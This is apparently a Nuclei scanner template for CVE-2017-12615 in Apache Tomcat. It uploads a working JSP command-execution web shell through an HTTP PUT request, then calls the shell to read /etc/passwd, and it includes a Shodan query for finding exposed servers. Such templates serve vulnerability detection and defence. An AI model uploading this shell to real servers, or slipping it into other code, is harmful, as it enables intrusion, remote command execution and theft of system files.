62 lines
2.3 KiB
YAML
62 lines
2.3 KiB
YAML
id: CVE-2017-12615
|
|
|
|
info:
|
|
name: Apache Tomcat Servers - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
|
|
- https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E
|
|
- http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-12615
|
|
- http://web.archive.org/web/20210616200000/https://www.securityfocus.com/bid/100901
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2017-12615
|
|
cwe-id: CWE-434
|
|
metadata:
|
|
shodan-query: title:"Apache Tomcat"
|
|
tags: rce,tomcat,kev,cisa,vulhub,cve,cve2017,apache,fileupload
|
|
|
|
requests:
|
|
- method: PUT
|
|
path:
|
|
- "{{BaseURL}}/poc.jsp/"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: |
|
|
<%@ page import="java.util.*,java.io.*"%>
|
|
<%
|
|
if (request.getParameter("cmd") != null) {
|
|
out.println("Command: " + request.getParameter("cmd") + "<BR>");
|
|
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
|
|
OutputStream os = p.getOutputStream();
|
|
InputStream in = p.getInputStream();
|
|
DataInputStream dis = new DataInputStream(in);
|
|
String disr = dis.readLine();
|
|
while ( disr != null ) {
|
|
out.println(disr);
|
|
disr = dis.readLine();
|
|
}
|
|
}
|
|
%>
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/06/09
|